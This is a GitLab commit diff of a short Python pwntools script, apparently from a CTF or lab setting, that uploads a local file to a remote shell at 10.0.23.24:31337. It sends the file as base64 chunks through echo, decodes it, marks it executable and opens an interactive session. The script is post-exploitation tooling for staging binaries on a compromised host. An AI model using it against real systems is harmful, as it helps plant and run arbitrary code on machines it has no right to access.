Skip to content
Snippets Groups Projects
Commit e86d65fa authored by dex's avatar dex
Browse files

Merge branch 'master' into 'master'

Fixed bug, added functionality

See merge request !1
parents 88b98432 dfd1be33
Branches master
No related tags found
1 merge request!1Fixed bug, added functionality
#!/usr/bin/env python #!/usr/bin/env python
import sys import sys
import os import os
from pwn import * from pwn import context, log, remote
from base64 import b64encode from base64 import b64encode
HOST = "10.0.23.24" HOST = "10.0.23.24"
...@@ -11,13 +11,17 @@ PORT = 31337 ...@@ -11,13 +11,17 @@ PORT = 31337
context.log_level = 'info' context.log_level = 'info'
#context.log_level = 'debug' #context.log_level = 'debug'
filename = "x"
remote_filename = "x"
is_executable = True
### SPLOIT ### ### SPLOIT ###
CHUNKSIZE = 64 CHUNKSIZE = 64
def connect(): def connect():
log.info(p.recvuntil("$ ")) log.info(p.recvuntil("$ "))
with open("./x", "rb") as f: with open(filename, "rb") as f:
data = f.read() data = f.read()
data = b64encode(data).decode() data = b64encode(data).decode()
...@@ -26,15 +30,28 @@ def connect(): ...@@ -26,15 +30,28 @@ def connect():
nchunks = ldata // CHUNKSIZE nchunks = ldata // CHUNKSIZE
rchunks = ldata % CHUNKSIZE rchunks = ldata % CHUNKSIZE
progress = log.progress("Transmitting {}".format(filename))
import IPython; IPython.embed() import IPython; IPython.embed()
assert nchunks * CHUNKSIZE + rchunks == ldata assert nchunks * CHUNKSIZE + rchunks == ldata
for idx in range(0,nchunks): for idx in range(0,nchunks):
p.sendline("echo -n \"{}\" >> x.b64".format(data[(idx*CHUNKSIZE):(idx+1)*CHUNKSIZE])) progress.status(str(idx * CHUNKSIZE) + " / " + str(ldata))
p.sendline("echo -n \"{}\" >> {}.b64".format(data[(idx*CHUNKSIZE):(idx+1)*CHUNKSIZE], remote_filename))
p.recvuntil("$ ")
if rchunks:
p.sendline("echo -n \"{}\" >> {}.b64".format(data[(-1)*rchunks:], remote_filename))
p.recvuntil("$ ") p.recvuntil("$ ")
p.sendline("echo -n \"{}\" >> x.b64".format(data[(-1)*rchunks:])) progress.success("Finished.")
p.sendline("cat {}.b64 | base64 -d > {}".format(remote_filename, remote_filename))
log.info(p.recvuntil("$ "))
if is_executable:
p.sendline("chmod +x {}".format(remote_filename))
log.info(p.recvuntil("$ "))
log.info("ldata: {}".format(ldata))
p.interactive() p.interactive()
return return
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment